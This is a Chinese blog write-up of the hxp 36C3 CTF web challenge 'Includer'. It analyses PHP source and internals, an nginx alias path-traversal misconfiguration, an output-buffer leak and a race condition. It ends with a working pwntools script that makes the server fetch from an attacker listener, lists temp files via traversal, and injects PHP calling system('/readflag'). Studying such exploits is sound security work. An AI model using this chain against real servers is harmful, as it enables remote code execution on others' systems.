nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

hxp-36c3-ctf-Web Includer

前言

最好的学习就是理解,也是看了很久的wp,对我这种新手来说帮助不大,但是长远来看,最为接近实战的ctf才是有意义的题目,所以自己也是狠狠的理解了很久。下面来是自己的理解加上原主的内容,这里放上原博主的链接https://ljdd520.github.io/
md,自己水平确实还是不要碰这些题为好,太g8难了,后面几乎都是抄原主的话

解题

题目给出源代码以及部署文件,源代码如下:

<?php
declare(strict_types=1);

$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";

try {
    if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }
}
finally {
    system('rm -rf '.escapeshellarg($rand_dir));
}

下面是代码审计

$rand_dir = 'files/'.bin2hex(random_bytes(32));
    mkdir($rand_dir) || die('mkdir');

创建一个沙盒,目录是随便取的数字,然后转为16进制,不成功就直接g了推出脚本,然后,putenv() 函数用于设置系统环境变量,它的参数是一个以 key=value 形式表示的字符串。这里将 TMPDIR 的值设置为拼接后的目录路径。通过设置 TMPDIR 环境变量,可以指定临时文件的存放位置为当前脚本所在目录下的随机目录。然后输出欢迎信息,告诉你的目录名字,使用 file_get_contents() 函数读取用户上传的文件,并检查其是否包含 PHP 代码。如果不存在 PHP 代码,则使用 include_once() 函数引入该文件。无论程序是否出现异常,最终都会执行 rm -rf 命令来删除之前创建的随机目录及其内容

Configuration Error
其中配置文件有一个比较明显的配置错误:
location /.well-known {
autoindex on;
alias /var/www/html/well-known/;
}
开启了列目录并且我们可以遍历到上层文件夹。
很明显,我们的利用点就是文件包含 include_once($_POST['file']);,而且文件还不能是php文件,写木马难道泡汤了吗?
第一想法肯定是绕过<?,和p神的谈一谈php://filter的妙用似乎有异曲同工之妙,但是我们仔细观察会发现,这是先使用了file_get_contents函数之后进行判断是否有<?,所以这里的编码绕过就不太可能了。

那我们文件包含还能干嘛?包含临时似乎是我们的最佳选择
首先直接给出结论,我们可以使用compress.zlib://流进行上传任意文件,接着我们来看看相关原理。
在php-src源码中,我们可以找到该流的相关触发解析函数php_stream_gzopen

ext/zlib/zlib_fopen_wrapper.c
php_stream *php_stream_gzopen(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,
                              zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
true...
trueif (strncasecmp("compress.zlib://", path, 16) == 0) {
truetruepath += 16;
true} else if (strncasecmp("zlib:", path, 5) == 0) {
truetruepath += 5;
true}

trueinnerstream = php_stream_open_wrapper_ex(path, mode, STREAM_MUST_SEEK | options | STREAM_WILL_CAST, opened_path, context);
true...
truereturn NULL;
}

我们可以看到有个标志位STREAM_WILL_CAST,我们可以先看看这个标志位用来干嘛,在main/php_streams.h定义了该标志位:

/* If you are going to end up casting the stream into a FILE* or
 * a socket, pass this flag and the streams/wrappers will not use
 * buffering mechanisms while reading the headers, so that HTTP
 * wrapped streams will work consistently.
 * If you omit this flag, streams will use buffering and should end
 * up working more optimally.
 * */
#define STREAM_WILL_CAST                0x00000020
很明显,这是一个用来将stream转换成FILE*的标志位,在这里就与我们创建临时文件有关了。
接着我们跟进php_stream_open_wrapper_ex函数,该函数在main/php_streams.h中被define为_php_stream_open_wrapper_ex。
PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
truetruezend_string **opened_path, php_stream_context *context STREAMS_DC)
{
true//...
trueif (stream != NULL && (options & STREAM_MUST_SEEK)) {
truetruephp_stream *newstream;

truetrueswitch(php_stream_make_seekable_rel(stream, &newstream,
truetruetruetruetrue(options & STREAM_WILL_CAST)
truetruetruetruetruetrue? PHP_STREAM_PREFER_STDIO : PHP_STREAM_NO_PREFERENCE))
  //...
truereturn stream;
}
/* }}} */

该函数调用了php_stream_make_seekable_rel,并向其中传入了STREAM_WILL_CAST参数,我们跟进php_stream_make_seekable_rel函数,它在main/php_streams.h中被define为_php_stream_make_seekable,继续跟进

main/streams/cast.c
/* {{{ php_stream_make_seekable */
PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{
trueif (newstream == NULL) {
truetruereturn PHP_STREAM_FAILED;
true}
true*newstream = NULL;

trueif (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
truetrue*newstream = origstream;
truetruereturn PHP_STREAM_UNCHANGED;
true}

true/* Use a tmpfile and copy the old streams contents into it */

trueif (flags & PHP_STREAM_PREFER_STDIO) {
truetrue*newstream = php_stream_fopen_tmpfile();
true} else {
truetrue*newstream = php_stream_temp_new();
true}
true//...
}
/* }}} */

我们可以看到如果flags与PHP_STREAM_PREFER_STDIO都被设置的话,而PHP_STREAM_PREFER_STDIO在main/php_streams.h中已经被define。

define PHP_STREAM_PREFER_STDIO 1

我们只需要关心flags的值就好了,我们只需要确定flags的值非零即可,根据前面的跟进我们易知flags的在这里非零,所以这里就调用了php_stream_fopen_tmpfile函数创建了临时文件。

Keep Temp File
临时文件终究还是会被php删除掉的,如果我们要进行包含的话,就需要利用一些方法让临时文件尽可能久的留在服务器上,这样我们才有机会去包含它。
所以这里是我们需要竞争的第一个点,基本上我们有两种方法让它停留比较久的时间:
使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。
使用FTP速度控制,大文件传输基本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用compress.zlib://ftp://形式,控制FTP速度即可
Bypass Waf

接下来我们就要看如何来对关键地方进行绕过了。

<?php
if (stripos(file_get_contents($_POST['file']), '<?') === false) {
    include_once($_POST['file']);
}

这个地方问了很多师傅,并且参考了主要的公开WP,基本都是利用两个函数之间极端的时间窗进行绕过。
什么意思呢?也就是说,在极其理想的情况下,我们通过自己的服务先发送一段垃圾数据,这时候通过stripos的判断就是没有PHP代码的文件数据,接着我们利用HTTP长链接的形式,只要这个链接不断开,在我们绕过第一个判断之后,我们就可以发送第二段含有PHP代码的数据了,这样就能使include_once包含我们的代码了。
因为我们无法知道什么时候能绕过第一个判断,所以这里的方法只能利用竞争的形式去包含临时文件,这里是第二个我们需要竞争的点。
Leak Dir path
最后,要做到文件包含,自然得先知道它的文件路径,而文件路径每次都是随机的,所以我们又不得不通过某些方式去获取路径。
虽然我们可以直接看到题目是直接给出了路径,但是乍一看代码我们貌似只能等到全部函数结束之后才能拿到路径,然而之前我们说到的需要保留的长链接不能让我们立即得到我们的sandbox路径。
所以我们需要通过传入过大的name参数,导致PHP output buffer溢出,在保持连接的情况下获取沙箱路径,参考代码:

    data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882)
    r.send('''POST / HTTP/1.1\r
Host: localhost\r
Connection: close\r
Content-Length: {}\r
Content-Type: application/x-www-form-urlencoded\r
Cookie: PHPSESSID=asdasdasd\r
\r
{}\r
'''.format(len(data), data))

所以整个流程我们可以总结为以下:
1.利用compress.zlib://http://或者compress.zlib://ftp://来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件
2.利用超长的 name 溢出 output buffer 得到 sandbox 路径
3.利用 Nginx 配置错误,通过.well-known../files/sandbox/来获取我们 tmp 文件的文件名
4.发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码
5.绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag
整个题目的关键点主要是以下几点(来自 @wupco):
要利用大文件或ftp速度限制让连接保持
传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径
tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行
.well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件

from pwn import *
import requests
import re
import threading
import time

for gg in range(100):

    r = remote("192.168.220.154", 5478)
    l = listen(5487)

    data = '''name={}&file=compress.zlib://http://192.168.220.157:5487'''.format("a" * 8050)

    payload = '''POST / HTTP/1.1
Host: 192.168.220.154:5478
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Length: {}
Content-Type: application/x-www-form-urlencoded
Connection: close
Cookie: PHPSESSID=asdasdasd
Upgrade-Insecure-Requests: 1

{}'''.format(len(data), data).replace("\n", "\r\n")

    r.send(payload)
    try:
        r.recvuntil('your sandbox: ')
    except EOFError:
        print("[ERROR]: EOFERROR")
        # l.close()
        r.close()
        continue
    # dirname = r.recv(70)
    dirname = r.recvuntil('\n', drop=True) + '/'

    print("[DEBUG]:" + dirname)

    # send trash
    c = l.wait_for_connection()
    resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8

{}'''.format('A' * 5000000).replace("\n", "\r\n")
    c.send(resp)

    # get filename
    r2 = requests.get("http://192.168.220.154:5478/.well-known../" + dirname + "/")
    try:
        tmpname = "php" + re.findall(">php(.*)<\/a", r2.text)[0]
        print("[DEBUG]:" + tmpname)
    except IndexError:
        l.close()
        r.close()
        print("[ERROR]: IndexErorr")
        continue


    def job():
        time.sleep(0.01)
        phpcode = 'wtf<?php system("/readflag");?>';
        c.send(phpcode)


    t = threading.Thread(target=job)
    t.start()

    # file_get_contents and include tmp file
    exp_file = dirname + "/" + tmpname
    print("[DEBUG]:" + exp_file)
    r3 = requests.post("http://192.168.220.154:5478/", data={'file': exp_file})
    print(r3.status_code, r3.text)
    if "wtf" in r3.text:
        break

    t.join()
    r.close()
    l.close()
    # r.interactive()

我只能说学不了一点

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » hxp-36c3-ctf-Web Includer

评论